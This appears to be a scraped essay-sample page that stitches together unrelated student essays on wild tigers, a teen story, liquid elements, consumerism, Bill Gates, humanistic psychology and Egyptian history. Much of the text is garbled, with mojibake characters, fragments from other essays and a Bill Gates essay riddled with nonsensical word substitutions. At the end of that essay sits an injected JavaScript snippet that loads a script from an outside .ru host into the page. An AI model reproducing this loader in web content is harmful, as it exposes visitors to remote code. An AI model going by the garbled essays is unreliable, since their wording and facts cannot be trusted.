Sunday, May 24, 2020

The Issue Of The Wild Tigers - 1537 Words

From 100,000 to 3,500. â€Å"A hundred years ago, there where over 100,000 (Tigers) in the wild, with more than 40,000 in India alone. Currently the total number of tigers worldwide is calculated at fewer than 3,500.† (Fraser) The population has dramatically dropped; the main reason is the healing powers of the tiger bone. The beautiful and beneficial species for decades have been killed for their bones and skin. There are many different tiger subspecies such as: Amur tiger, Bengal tiger, Siberian tiger, Sumatran tigers and many more, unfortunately today there are only a few subspecies left. The high demand for the bones and skins of tigers have not yet settled down, the black market continuously hunts the unprotected animals. Although the issue is global, it has been unknowingly neglected from the modern society. Many believe that the species are not endangered when they visit a zoo, but the information states otherwise. The wild tigers are decreasing in numbers, and some predict that in no time th e species will be extinct. The lack of information one withholds, prevents them from helping and improving the living conditions of wild tigers. In order to increase the population of endangered tigers, we should use social media to raise awareness of the current extinction rate and in correlation with the Government create a protection plan, regarding their territory and for those who do harm the animals, will face serious consequences. With the global summits that are hostedShow MoreRelatedThe Decline Of The Population Of Wild Tigers1165 Words   |  5 PagesThe Decline in the Population of Wild Tigers (Panthera tigris) Sherene Hall, ZOOL 215, Section 1, Spring 2015 Abstract This paper reviews the causes of declining wild tiger populations. These populations have been rapidly declining in the last 100 years and of eight subspecies of tigers, only five are left. As an umbrella species, they are an important factor within their ecosystems, but poaching, prey depletion, and loss of habitat are pushing wild tigers towards extinction. There is little researchRead MoreHow Cool Would It Be A Tiger As A Pet?1633 Words   |  7 PagesHow cool would it be to have a tiger as a pet? Is a mere dog not interesting enough? Well, who said a chimpanzee cannot be a man’s best friend? As cool as it may seem to have an exotic creature as a pet, the responsibilities to take care of it are very demanding and expensive. Having that animal as a pet would mean you know its diet, its natural habitat, and its capabilities. The issue at hand is that citizens are removing animals out of their natural habitat without taking the animal’s needsRead MoreHow Cool Would It Be A Tiger As A Pet?1633 Words   |  7 PagesHow cool would it be to have a tiger as a pet? Is a mere dog not interesting enough? Well, who said a chimpanzee cannot be a man’s best friend? As cool as it may seem to have an exotic creature as a pet, the responsibilities to take care of it are very demanding and expensive. Having that animal as a pet would mean you know its diet, its natural habitat, and its capabilities. The issue at hand is that citizens are removing animals out of their natural habitat without taking the animal’s needsRead MoreThe Great Honor Of The Hundred Acre Woods1711 Words   |  7 PagesFrom the ancient ceremonies of China to the Hundred Acre Woods, tigers have had iconic roles in cultures around the world. They symbolize strength, energy, and wealth, and to be associated with one – whether through birth signs or personality traits – is a great honor. Their time on Earth, however, may one day come to an end, and they wil l be reduced to legends and storybook characters unless we do something to help them. Tigers are beautiful, powerful, and majestic creatures that are being wipedRead MoreTreatment Of Zoos : Gorilla Shot Dead By Endangered Sumatran Tiger1117 Words   |  5 Pagesthe enclosure VS New Zealand zookeeper being killed by endangered Sumatran tiger. Introduction The treatment of animals in zoos has become a very debatable issue, as animals deserve to live in their natural habitat with their family, but they are having to live in cramped, fake living spaces for nearly all their lives, separated from their families, not much room to walk around and being very bored. But two similar issues that were brought to my attention occurred recently. A gorilla at the CincinnatiRead MoreEssay Zoos and Aquariums: A Barbaric Institution1182 Words   |  5 PagesThe practice of keeping wild animals in a zoo or aquarium is looked at favorably in most aspects but what we fail to realize is that we have placed animals which at one point lived freely in wide open spaces into captivity. Society is assuming these animals are happy to be taken from their natural habitat and placed in pens and cages because they have every need handed to them. David Suzuki asked â€Å"What gives us the right to exploit other living organisms as we see fit?† (681). Through selfishnessRead MorePersuasive Essay On Wild Animals908 Words   |  4 Pagesadorable and all the comments say how people want one. Except, those videos don’t tell the struggles of owning these animals. Usually professionals make those videos and the public then believes they’re entitled to th e animals. Wild animals are not to be kept as pets, they’re called wild for a reason. Keeping these animals brings a higher risk for humans, brings higher chance they’ll end up escaping, and most importantly is distressing for the animal. Now, you may be asking, how does this apply to you? I’mRead MoreThe Devastation of Poaching in Africa Essay1614 Words   |  7 Pagesrespect for nature can he or she come to appreciate for his or herself. In the past few decades, some animals have progressively come closer and closer to extinction. When compared to demographics 30 years ago, less than 5% of tiger and rhino populations remain in the wild (Congressional). The main culprits for this abominable crime against nature are avaricious poachers who seek personal gain and profit. Poaching is the illegal killing of endangered animals. This crime was a large problem inRead MoreTiger Conservation And Reserves Been Successful996 Words   |  4 Pagesâ€Å"If the tiger is saved, it will ensure the maintenance of healthy natural ecosystems, not just for tigers, but for everyone.† (Freed)Are is the last line in the novel Riding the Tiger: Tiger Conservation in Human-Dominated Landscapes.. Tiger conservation is a process that our world has been trying and carefully perfecting over the years, more so after tigers were officially put on the endangered list. Tigers are one of the more popular endangered species in the world and because of the public eyeRead MoreInternational Cooperation Is Necessary For Address Wildlife Trade1232 Words   |  5 PagesIntroduction CITES came into effect in 1975 to ensure that international trade of wildlife specimens does not â€Å"threaten the survival and well-being of wild animals and plants† (CITES, 1975). Specifically, it applies either trade bans or trade regulations to over 35,000 species, depending on how much protection is needed (CITES, 1975). Species can be in Appendix I (nearly extinct, trade only permitted in special circumstances), Appendix II (less threatened than Appendix I species, but trade is still

Monday, May 18, 2020

Teenage and Mass Communication on the Good Web - 795 Words

The Good Web It was a gloomy Sunday when I walked into Dave’s room. He was lost deep in his thoughts sitting in front of his laptop. On the screen was an open webpage which had pictures of refugees from an African country. I wasn’t sure which country. He was so lost that he did not even realize my presence inside the room till I said, â€Å"Penny for your thoughts.† He was startled and turned around to look at me. He had the look of a person who had been deeply disturbed. â€Å"Hi Charley† he said without any enthusiasm. I have always known Dave as an outgoing friend and always kept himself and the others around him cheerful even during the worst of our times at school like a surprise mathematics test. He always had something funny to say.†¦show more content†¦Yes. In fact we have to do something.† â€Å"About what?† I was confused. â€Å"About these refugees. African refugees.† There was a kind of intensity on his face that I had rarely seen him. â€Å"Listen Dave I think you are taking this a little too seriously.† I tried to laugh. But he looked at me so intently that my smile froze. â€Å"Ok Dave what do you think we should do? After all we are not leaders of the world. We are just tenth graders.† â€Å" I know. Let us do whatever is possible at our level. I have a plan.† â€Å"Tell me about it.† â€Å"I am going to prepare a documentary based on the info that I got from the net about the plight of these refugees and I want our class to view that at school.† I was still not sure where he was getting. My confused look was obvious. â€Å"Listen we have been using the internet till now for our assignments and project reports. But now I propose to use it to bring about a change. A change in our attitude towards those who are less privileged.† â€Å"You mind translating that into English† I said unable to conceal the heavy sarcasm in my voice. I could see he was hurt but he was far from giving up. In fact my sarcasm kind of spurred him on. â€Å"That’s exactly what I want to change. You think that we cannot do anything about the troubles of others and that we are too young to make a difference. We use our age as an excuse to be silly and irresponsible. Let me tell you about this young girl called Malalah of Afghanistan who had theShow MoreRelatedHow Media Affects Self Image1232 Words   |  5 PagesTeenage and college women are overly obsessing about their body images and constantly think that they need to be much skinnier, when they are not even fat. Many women today have the wrong idea of what the perfect body is, since there is no such thing as a perfect body. Every person is different and there can be no â€Å"perfect†. Being skinny is not the thing to strive for, but rather being healthy is. In this decade, women are constantly looking at models, T.V. shows and Instagram photos of girls thatRead MoreSocietal Standards of Feminine Beauty Essay783 Words   |  4 Pagesdisordered eating in many fema les. â€Å"More than half of teenage girls are, or think they should be, on diets. They want to lose some or all of the 40 pounds that females naturally gain between ages 8 and 14. About 3% of these teens go too far, becoming anorexic or bulimic† (Being Truly Beautiful). Mainstream magazines and advertisements are another potent source of idealized images of women. â€Å"Findings of one study indicate that 83% of teenage girls reported reading fashion magazines for about 4.3Read MoreMass Medi A Powerful Instrument Of Social Control887 Words   |  4 PagesThe mass media refers to means of communicating with large numbers of people without direct personal contract. The mass media is a major source of information and ideas. Theses can shape people’s attitudes and so some degree directs their behaviour. Mass media in this modern time industrial society is a powerful instrument of social control. Newspaper and television broadcasting are all under mass media, the internet was introduced globally by Tim Berners-Lee who can up the idea of www which meansRead MoreThe Main Environmental And Emotional Causes And Crisis Intervention Of Teen Suicide Essay1643 Words   |  7 Pagessuicide and how to approach someone who may be experiencing suicidal tendencies. There are numerous causes for suicide among teens based on emotional tendencies and environmental influence. Teenagers are still vulnerable and impressionable to how the mass media portrays different methods of suicide and reports collected reveal that suicide attempts have increased dramatically (Gould, 2003). This infiltrates the amount of suicide and suicide attempts using the same methods displayed on television. TheRead MoreMass Media Communication1719 Words   |  7 PagesDefinition Mass media is a media intended for a large audience. It may take the form of broadcast media, as in the case of television and radio, or print media, like newspapers and magazines. Internet media can also attain mass media status, and many media outlets maintain a web presence to take advantage of the ready availability of Internet in many regions of the world. Some people also refer to it as the â€Å"mainstream media,† referencing the fact that it tends to stick to prominent stories whichRead MoreTechnological Convergence1577 Words   |  7 PagesConvergence is defined as the interlinking of computing and other information technologies, media content, and communication networks that have arisen as a result of the evolution and popularization of the internet as well as the activities, products and services that have emerged in the digital media space. Convergence is loosely defined as the occurrence of two or more things coming together to eventually meet and or in which old and new intersects or builds upon. Although for the consumer convergenceRead MoreEssay about The Phenonmeon of Teen Mom1606 Words   |  7 PagesTeen Mom II is the second incarnation of MTVs number one rated reality series 16 and Pregnant. The show documents the lives of four teenage mothers as they struggle to cope with the burden of childrearing in a financially demanding society while trying to navigate through the journey of adolescence. Once catering to a music oriented teenage consumer, MTV has reinvented itself as a teen reality television powerhouse, with many of its reality shows, including Teen Mom II, consistently dominating inRead MoreUnit 9 - Creative Product Promotion P1 Essay1095 Words   |  5 Pagestheir consumers with minimal costs. Advertising Advertising is a type of communication that is meant to persuade its viewers, readers or listeners to take some action. It normally includes the name of a product or service and how it could benefit the consumer; it is also used to persuade potential customers to consume that particular brand and not other competing brands. Modern advertising developed with the rise of mass production in the late 19th and early 20th century. Publicity and PublicRead MoreEssay on Abstinence-Only Sex Education does work.1332 Words   |  6 PagesAbstinence-only Sex Education does work. Teenage sexual activity has sparked an outcry within the nation. With such activity comes a high price. Studies have shown that there has been a significant rise in the number of children with sexually transmitted diseases (STDs), emotional and psychological problems, and out-of-wedlock childbearing. Sex has always been discussed publically by the media, television shows, music and occasionally by parents and teachers in educational context. Teens hear themRead MoreThe Impact Of Digital Media On Modern Society1618 Words   |  7 PagesIntroduction â€Å"Over the last two decades, our view of mass media communication in modern society has been extensively reconfigured by the â€Å"new media† applications stemming from the rollout of digital technologies. In so many different ways, the digital media has come to be seen as the definitive technology of our times. The powerful combination of mechanical calculation, electronics, binary code and human language system touches us in almost every aspect of life† (Athique, 2013). Media in general

Wednesday, May 13, 2020

The 6 Elements That Are Liquid at Room Temperature

There are two elements that are liquid at the temperature technically designated room temperature or 298 K (25 °C) and a total of six elements that can be liquids at actual room temperatures and pressures. Elements That Are  Liquid at 25 °C Room temperature is a loosely defined term that can mean anywhere from 20 °C to 29 °C. For science, its usually considered to be either 20 °C or 25 °C. At this temperature and ordinary pressure, only two elements are liquids: BromineMercury Bromine (symbol Br and atomic number 35) is a reddish-brown liquid,  with a melting point  of 265.9 K. Mercury (symbol Hg and atomic number 80) is a toxic shiny silvery metal, with a melting point of 234.32 K. Elements That Become Liquid 25 °C-40 °C When the temperature is slightly warmer, there are a few other elements found as liquids at normal pressure: FranciumCesiumGalliumRubidium These four elements all melt at temperatures slightly higher than room temperature. Francium (symbol Fr and atomic number 87), a radioactive and reactive metal, melts around 300 K. Francium is the most electropositive of all the elements. Although its melting point is known, there is so little of this element in existence that its unlikely youll ever see a picture of this element in the liquid form. Cesium (symbol Cs and atomic number 55), a soft metal that violently reacts with water, melts at 301.59 K. The low melting point and softness of francium and cesium are a consequence of the size of their atoms. In fact, cesium atoms are larger than those of any other element. Gallium (symbol Ga and atomic number 31), a grayish metal, melts at 303.3 K. Gallium can be melted by body temperature, as in a gloved hand. This element displays low toxicity, so its available online and may be used safely for science experiments. In addition to melting it in your hand, it can be substituted for mercury in the beating heart experiment and can be used to make spoons that vanish when used to stir hot liquids. Rubidium (symbol Rb and atomic number 37) is a soft, silvery-white reactive metal, with a melting point of 312.46 K. Rubidium spontaneously ignites to form rubidium oxide. Like cesium, rubidium reacts violently with water. Other Liquid Elements That state of matter of an element may be predicted based on its phase diagram. While temperature is an easily controlled factor, manipulating pressure is another way to cause a phase change. When pressure is controlled, other pure elements may be found at room temperature. An example is the halogen element chlorine.

Wednesday, May 6, 2020

The Role Consumerism Plays in Modern Day American Society

Consumerism plays a significant role in modern day American society. We have an almost inherent need to establish happiness based upon our purchases and assets. The American middle class is a segment of consumer that many companies seek to court. The relatively moderate to high level of disposable income and purchasing ability in this particular demographic is hard fought for by companies. This leads the notion that companies are vying for their products and goods to be purchased and establish brand loyalties in highly competitive market industries. Markets ranging from general retail stores, car manufacturers, airlines, clothing, energy services, and even healthcare markets must compete for consumer business. With the current challenging economic climate, retailers and companies have had to adapt to significant challenges with rather non-conventional methods. Other than cleaver marketing campaigns and catchy commercials; there are several new methodologies that industries are utilizing to attract consumer interests. With the ever increasing force of technological change and adaptation we are seeing a dramatic shift in the way empirical data is being utilized as a means of targeting consumer interests relative to a sales growth and revenues. In direct response to this companies and industries have began to use a highly specific and somewhat intrusive method of obtaining data on consumers. The somewhat elusive and controversial practice of data mining is becomingShow MoreRelatedEssay on Criticisms of Consumerism and Materialism in Fight Club1134 Words   |  5 Pagestrying to meet society’s consumerist criteria; seeking the false promise of the American dream. This is the reality presented in Fincher’s Fight Club (1999), one of â€Å"the rawest, most hot-blooded, provocatively audacious, dangerous movies to come of out Hollywood† (Morris, 1999). Through the diverging personalities of the films central characters, Fincher provides a satirical analysis and powerful criticism of consumerism, â€Å"echoing countless social critics who bemoan the emasculating effects of consumerRead MoreHow Music Has Influenced The World980 Words   |  4 Pages American culture has influenced the world over the last few centuries. Each day we visually perceive how the diversity of music impacts our day to day life. Music has played a consequential role in the devel opment of how diverse America is today. From the Charleston to the Duggie, music has evolved over countless years. The 1970s music industry transitioned the rebelliousness of the 1960s to the jubilant musical compositions of the 1980s. The American recording industry in the 1970s was a coalescenceRead MoreConsumerism in Post World War II Essay1479 Words   |  6 PagesConsumerism in Post World War II After WWII why did the economy prosper and what role did consumerism play in the 1950s? After WWII many economists predicted a recession in the American economy. It is easy to do so when at the peak of post war unemployment in March 1946 2.7 million searched for work. In 1945 people were laid off from their jobs. However, â€Å" in 1945 the US entered one of its longest, steadiest, periods of growth and prosperity† (Norton 829). How could this be? WithRead MoreMarketing Apple Fanatics : Self Identity1307 Words   |  6 PagesAs a company, Apple is known throughout the globe for more than their high-quality and revolutionary products; Apple is a household name because of the publicity surrounding their devoted fans. These fans camp outside Apple Stores days before a product is released, sometimes just to preorder the product. They eat, sleep, and breathe Apple, earning them the name iSheep. Fans of other brands lack the same publicity, but they maintain the same level of devotion. Many people exclusively wear Nike orRead MoreThe Invasion of Consumerism into the lives of a Post-Modern Family 1762 Words   |  8 PagesThe Invasion of Consumerism into the lives of a Post-Modern Family Consumerism is taking place everywhere. Whether we like it or not, it has come to invade our everyday modern lives. Steven Miles, a lecturer in sociology at the University of Plymouth says How we consume, why we consume, and the parameters laid down for us within which we consume have become increasingly significant influences on how we construct our everyday lives (1). Consumerism has even gotten to the point of affectingRead MoreConsumerism : A Social And Economic Order Within America Propelled Essay1777 Words   |  8 Pagesthey make significant and abiding social change. A social and economic order within America propelled, perhaps unconsciously, by the people, is consumerism. Originating in the nineteenth century, consumerism revolutionized the way individuals thought, behaved, and interacted with each other. Coming into full bloom during the Industrial Revolution, consumerism fueled a new desire for material goods, unnecessary for and unrelated to basic survival. The idea for mass production, a cheaper and more profitableRead More Movie Review: Fight Club Essay766 Words   |  4 PagesFight Club shakes the foundations of our democratic nation, spits on our capitalist society, and makes all who watch it look at the American way of life differently. In a country driven by consumption, one can imagine the movie Fight Club rubs certain people the wrong way. When Edward Norton was asked why he decided to take the role as the main character in Fight Club, he replied, â€Å"to piss off America.† Each American since childhood has been told repeatedly that democracy equals freedom, but is thisRead MoreAnalysis Of The Article Native American Headdresses Facts For Kids 1476 Words   |  6 PagesOutfitters According to the article â€Å"Native American Headdresses Facts for Kids†, 18th and 19th century Plain Indians (Native Americans who resided on the Great Plains and Canadian Prairies) introduced the world to the Feathered war bonnet as a way to place honor and respect among the men who demonstrated bravery and valor. The article explains that during the time, Plain Native American tribes sought to see the eagle as the greatest and best bird amongst all birds;Read MoreEssay about 1920s in The Great Gatsby1008 Words   |  5 PagesFitzgerald is both a representation of this distinctive social and historical context, and a construction of the composer’s experience of this era. Beliefs and practises of the present also play a crucial role in shaping the text, in particular changing the way in which literary techniques are interpreted. The present-day responder is powerfully influenced by their personal experiences, some of which essentially strengthen Fitzge rald’s themes, while others compete, establishing contemporary interpretationsRead MoreConsumerism As An Engine Of Change3258 Words   |  14 Pages2014 Mercedes S-Class: Consumerism as an Ideology and an Engine of Change In no century did consumerism play a larger role than the twentieth century. How Americans spent their money affected the nation, and how the nation reacted affected the consumer. This established an incredibly cyclical, yet dynamic environment with long term implications. John Lucaks starts his book, A Short History of the Twentieth Century, by writing that the twentieth century was the American century (3). Gary Cross

Humanistic Psychology Free Essays

Humanistic Psychology Basis Humanistic Psychology is so named due to its core belief in the basic goodness present in and respect for humanity. Its core is founded upon existential psychology, or the realization and understanding of one’s existence and social responsibility. The two psychologists, Carl Rogers and Abraham Maslow initiated the movement with this new perspective on understanding people’s personality and improving their overall life satisfaction. We will write a custom essay sample on Humanistic Psychology or any similar topic only for you Order Now When war broke out in the 1960s, the world felt compelled to better understand the nature of humanity. Humanistic theory provides an understandable mechanism for examining an individual’s need for conflict in order to create peace. This simplistic theory has become a favorite and popular topic throughout self-help literature. Additionally, the struggle for mankind to gain greater understanding and meaning for life and existence is a timeless cornerstone conflict in entertainment and literature. The premise behind humanistic psychology is simple. So simple, in fact, that naysayers believe it to be excessively simple. Humanists adhere to these beliefs: 1. The present is the most signficant aspect of someone. As a results humanists emphasize the here and now instead of examining the past or attempting to predict the future. 2. To be mentally healthy, individuals must take personal responsibility for their actions, regardless if those actions are positive or negative. 3. Each person, simply by being, is inherently worthy. While any given action may be negative, these actions do not cancel out their value as a person. 4. The ultimate goal of living is to attain personal growth and understanding. Through constant self-improvement and self-understanding can an individual ever be truly happy. Abraham Maslow provided the best known and mostly widely understood precept in humanistic psychology. Abraham Maslow believed that Watson and the other behaviorists’ ideas about control were lacking. He saw human life as more than simply external reinforcement, disputing the assumption that humanity was born without value or direction. When he was studying psychology, the prevalent ideas were psychoanalysis and behaviorism. These theories were covered by most courses and a great deal of energy was used for each psychologist to identify the theory aspiring psychologists would subscribe to. Maslow did not follow either of these paths. He condemned behaviorism, eventually taking the same perspective with Freud’s works as well. Even though Maslow accepted the existence of an unconscious being within us, Maslow refuted Freud’s idea that the bulk of our being is hidden far from our consciousness. Maslow purported that humanity is aware of motivation and drives on the whole. Without life’s obstacles, all of humanity would become healthy psychologically, attaining a deep self-understanding and acceptance of society and the world around them. Maslow reinforced his energy on realizing the positive aspects of mankind, while Freud saw mostly negativity. One might summarize the distinction between humanism and psychoanalytic thought in this way – psychoanalysis is founded upon acceptance determinism, or acceptance of aspects of our lives outside of control, while humanistic thought bases itself on the concept of free will. Maslow’s best known contribution to Humanistic psychology is his Hierarchy of Needs. Maslow’s Needs Hierarchy is frequently used to sum up the humanistic psychology belief system. The fundamental premise of his hierarchy is that everyone is born with specific needs. If we do not meet those base needs, we are unable to survive and focus upward within the hierarchy. The first stratum consists of ;b;physiological needs;/b;, or survival needs. Unable to obtain oxygen, sleep, water, and food, all else is irrelevant. After we meet these needs, we can shift our focus to the next stratum, the need for security and safety. When pursuing safety needs, we attempt to secure safety in others and yearn to create an environment that protects us, keeping us free from harm. Until these goals are met, it is unlikely that someone would consider higher order needs, and their growth is then stifled. When someone feels safe and secure, we attempt to build friendships and establish a sense of belonging to a greater whole. Maslow’s third level of needs, the social needs of belonging and love, focus on our desire to be belong to a group and have a place in a larger whole. Meeting social needs get us one step closer to the top of the triangle — the fourth level: esteem needs. Those attempting to fulfill esteem needs channel their energy on respect from others, self-esteem, self-respect, and gaining recognition for our accomplishments in life. We push further and further to excel in our careers, to expand our knowledge, and to constantly increase our self-esteem. The final level in the hierarchy is called the need for self-actualization. According to Maslow, many people may be in this level but very few, if anybody, ever masters it. Self-actualization refers to a complete understanding of the self. To be self-actualized means to truly know who you are, where you belong in the greater society, and to feel like you are accomplishing all that you are meant to be. It means to no longer feel shame or guilt, or even hate, but to accept the world and see human nature as inherently good. Against Scientific Basics At its onset, Humanistic theory was not researched easily. To start with, since the fundamental belief of Humanism is in the goodness of people, treatment should focus on the positive, instead of negative. This leaves very few tests upon which to build the case of Humanism. Then, through assessment, the assessor is essentially trying to say that the tester knows more about the client’s emotion, thought, and behavior. To do something so presumptuous is a flagrant contradiction of the belief principles of Humanism. As a result, most theorists, specifically behaviorists, refuted humanistic theory since it was not easily researched. However, as with psychoanalysis, it was possible to aggregate meaningful data on the effectiveness of applying Humanistic theories. Actually, just as with psychoanalysis, innovative testing needed to be designed to accentuate the exact theory and the intended application of the theory. Psychoanalysis use tests like TAT and Rorschach — humanists use the Q-Sort. Humanistic Theory – Weaknesses and Strengths Humanistic Theory Strengths Just as with every theory, some find humanistic psychology to be relevant, as others can only see the flaws. A couple of humanistic theory’s strengths are the focus on the positivitity and goodness of humanity, as well as the free will related to change. Contrasting Freud’s and biological approaches, focusing on the belief that human behavior and cognition are causally determined by prior events and actions, such that we lack self-control, Maslow and Humanistic psychology believe that the individual is quite powerful. Another strength of humanistic theory is how easily many aspects of the theory integrate with other schools of thought. A number of therapists adopt humanistic undertones when working with their clients. While the individual may believe that humanistic theory doesn’t cover the distance, they understand the benefit of the core values and beliefs in changing people’s lives for the better. Ultimately, humanism has benefits which carry over into a number of other professions. In a business class, you will probably cover Maslow’s hierarchy. When studying finance or economics, the course will no doubt cover the concept of moving up financially and physically, to eventually become more enlightened and aware of who we are and our place in the world. This principle is similarly present in other professions such as criminology, history, and literature, since the core of humanistic thought rings true in everything that deals with what it means to be considered human. Humanistic Theory Weaknesses For every yin, there is also the yang. Humanistic theory has its share of flaws as well. The most significant criticism of humanistic psychology centers around its lack of specific approaches to treatment aimed at precise problems. Since the core belief behind Humanistic theory is that of free will, it is very complicated to both innovate a technique for treatment as well as a means to study the efficacy of this treatment technique. Additionally, it is believed that humanistic theory falls is unable to help people with severe personality or mental health disorders. While Carl Rogers’ Theory of Personality may have positive effects on a minor abberation, using it as treatment for schizophrenics is laughable. Lastly, humanistic theory applies some human nature generalizations which are widely believed to be complete. Are all people good at the core of their being, or are some people just not there? Can we effectively position that Maslow’s needs hierarchy, as explained, applies to everyone universally? Or is it possible that each individual can impose their own belief system or their order of attainment, or even their very definition? Why is it that some individuals appear to consciously take negative alternatives while positive choices are right in front of them? These doubts huant humanistic psychology and the complexity associated with performing measurable research of the theory further exacerbates the issue. However, regardless of these trials, humanistic theory is incorporated into nearly every opposing school of psychotherapy and improvement of the human condition. It is widely believed that treatment with humanistic undertones creates a nice environment for positive change. While, alone, humanistic theory may be insufficient, the groundwork it lays might be a necessity for to effect significant changes of personality. How to cite Humanistic Psychology, Papers

Bill Gates Essay Research Paper Bill GatesBill free essay sample

Bill Gates Essay, Research Paper Bill Gates Bill Gates was born on October 28, 1955. Gates and his two sisters grew up in Seattle. Their male parent, William H. Gates II, is a Seattle lawyer. His late female parent, Mary Gates, was a school teacher, University of Washington trustee and president of United Way International. Bill Gates came from a really involved background covering with political relations and in the concern industry. So he was reasonably educated in the universe as a immature kid. He besides spent most of his clip reading and larning about Business Industry which is what he liked. Bill went to Lakeside School for 7th class at the age of 12. It was a really rigorous genitalias boys school. At first he seemed uncomfortable but finally he found some friends that had some of the same involvements as in Business and looking at computing machine companies. Most of his instructors seemed intimidnated by him and another group of older schoolmates initiative to calculate out something called Teletype. You would type plans off-line on xanthous paper tape and so set it into the tape reader, so dial up the computing machine and rapidly feed the paper tape and run your plan. There was a nine called Mothers nine that would hold assorted rummage gross revenues and got money to pay for the Teletype and besides fees like utilizing the Teletype. With the Teletype you have to pay for storage, computing machine fee and connexion clip. So he got a batch of experience with computing machines in school. In 1973, Gates enrolled at Harvard University. At Harvard Bill developed the scheduling linguistic communication Basic for the first personal computer. Junior twelvemonth, Gates dropped out of Harvard to give his clip to Microsoft, which began in 1975. Charge had this belief that the personal computing machine would blow up and be in every place. Gates had these thoughts of limitless enlargement and ever making new things. Bill gates vision sing the computer science universe were built around Microsoft and package direction. With Gates leading Microsoft # 8217 ; s end was to progress and better package engineering and to do it easier, more cost effectual for place users. First computing machines ran on Dos. Bill had purposes on making MS-Dos. He figured one twenty-four hours that MS-Dos would replace Dos. Besides Microsoft created Excel, Microsoft Word, Access, ECT. These plans are used by at least 50 % of the PC # 8217 ; s in the universe. gt ; As I said earlier Bill Gates left college to get down in his computing machine hereafter with Microsoft. He has showed his devotedness and had work to them for 25 old ages ( 1975-xxxx ) He now is Chairman and main package designer of Microsoft Corporation, the taking supplier for personal computing machines. So by lodging with the company he is now deserving about $ 6.1 billion dollars. He is besides really difficult working with his occupation. With all the money and yachts and things he doesn # 8217 ; Ts have much clip to utilize them. He now has a married woman, Melinda French, and two childs. The boy # 8217 ; s name is Rory John and the girl # 8217 ; s name is Jennifer Katharine. So with his household and concern he doesn # 8217 ; Ts have much clip for himself. He spends most of his clip in meetings because he still has to at the caput of the category. Most of people bash measure because he has so much money. What they fail to recognize is that he worked for all his money and put in non merely 100 % but more like 200 % . He is non even near to being greedy with his money he has a plan called Bill A ; Melinda Gates Foundation. With this foundation he donates 1000s of dollars if non 1000000s to topographic points like The Global Funds for Children # 8217 ; s Vaccines, the World Health Organization, ECT. That to me is a great thing for person to make. Not merely does he donates to foundations but he besides give out grants for schools. Last twelvemonth the Bill Gates foundation gave $ 1 billion # 8217 ; s towards a Gates millenary scholars plan. This plan is to spread outing entree and chance to higher instruction to those citizens who will assist reflect the frogmans society in which we live. Another topographic point his money go # 8217 ; s is his place. He has a place worth $ 97 million. Last twelvemonth he paid over a million dollars in belongings revenue enhancements. His house is 1.5 estates. Seven sleeping rooms, 24 bathrooms ( includes 10 full baths ) , six kitchens, six hearths. Bill seems to me to be a great cat but if you do some research you # 8217 ; ll see it # 8217 ; s difficult to happen existent stuff on him. There is nevertheless a batch of knock Bill Gates sites. This adult male has done and making all these things I said above and still acquire no regard form a batch of people. That seems to me to be a shame. Well my decision is that Bill Gates is really successful and earned where he is today. He was one of those people that weren # 8217 ; t in front of their clip but at the perfect clip to be where they were. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Monday, May 4, 2020

Woman at Point Zero Summary free essay sample

Egypt had achieved a formal but nominal independence in 1922, under which King Fu’ad I and his son King Faruq ruled with a cabinet and parliament. Britain, however, retained enough influence to oppose cabinets or key politicians and thus dampen the growth of Woman at Point Zero Summary 2 Woman at Point Zero Summary pluralism or effective democracy. The British had occupied Egypt since 1882, ruling it as if it were a colony, though officially it was not. They maintained a military presence there too, to protect their interest in cheap cotton and in revenues from the Suez Canal. Genuine independence and the total withdrawal of foreign forces was a continuous issue in Egypt until the rather surprising 1952 military coup by a group of young army officers, including Gamal Abdul Nasser (also spelled Jamal ‘Abd al? Nasir). The revolution ignited by these officers changed the power structure of Egypt, displacing wealthy property owners as the nation’s most influential political force. When first established under President Muhammad Naguib, however, the new regime did not have preformulated platforms or a theoretical framework for future policies. The rebels shipped the king off to Europe; the elite who remained in Egypt would suffer— if not at first, then later under the new regime’s populist policies. Meanwhile, the peasants and urban poor appreciated the coup, although because of the inadequacy of reforms and policies like the decision to expand industry, their circumstances would be relieved only at the expense of growing debt and dependency for Egypt. Woman at Point Zero Summary 3 Woman at Point Zero Summary In 1953 the military officers banned all political parties and abolished the monarchy. The officers were eliminating potential rivals. Their one? time ally, President Naguib, was stripped of his powers, and Nasser became the voice of Egypt, with ‘Abd al? Hakim ‘Amir in control of the army. Another former ally, the Muslim Brotherhood, a 25? year? old grassroots Islamist party, was repressed by the new regime after a Muslim Brother tried to assassinate Nasser in 1954. Nasser’s government also put down a worker’s strike, and moved against the Communist Party and other leftists. In 1956 Nasser nationalized the Suez Canal in response to the withdrawal of an expected loan from the World Bank that year. The Egyptian masses applauded this seizure of Egypt’s largest source of revenue, which had been controlled by foreign powers since its construction under the local ruler, the khedive Isma‘il, in the nineteenth century. The ensuing war in Suez, known in Egypt as the Tripartite Aggression, saw the Israelis, French, and British jointly attack Egypt to punish Nasser for the seizure. To Egyptians, the war indicated the hostile intentions of the West against their young government. And in fact the attack met with global condemnation. Nasser moved further away from the West by announcing a Czech arms deal in September 1955, and by refusing that same year to sign the Washington? sponsored Baghdad pact (to protect Middle Eastern nations such as Iraq and Turkey from Soviet aggression). He would publicly claim a commitment to neutralism, to independence without reliance on the East or the West. But in fact the need to build up Egypt’s military base and the army’s dominance in politics resulted in Egypt’s purchasing weapons from the Eastern bloc and in Russian military advisors arriving to conduct business in Egypt. Important in this period was Nasser’s enunciation of Arab unity. A short? lived (1958? 61) union of Egypt and Syria resulted in the United Arab Republic, which would ultimately disintegrate. For a while, many in the region embraced this macro? philosophy, and it complicated the gender issue. If Arabs were to share a unified culture, how would it be possible to allow for the variations in attitudes and Woman at Point Zero Summary 4 Woman at Point Zero Summary practices concerning women in different lands? In some Arab societies, arranged marriages or marriages to first cousins were still preferred, strict separation of the sexes was observed, and women’s ability to challenge spousal abuse was extremely limited; in other Arab societies women were moving into the workforce, advancing through education, and challenging some of the legal restrictions imposed on them. After the short? lived experiment in Arab unity came the defeat of the Arab states in the 1967 so? called Six Day War with Israel. Israel’s preemptive strike on June 5, 1967, destroyed much of the Egyptian air force parked on the airfield. Israel emerged victorious not only because of the strike but also, among other factors, because of poor training of Egyptian troops, an inadequate budget, and Nasser’s refusal to withdraw forces from Yemen. 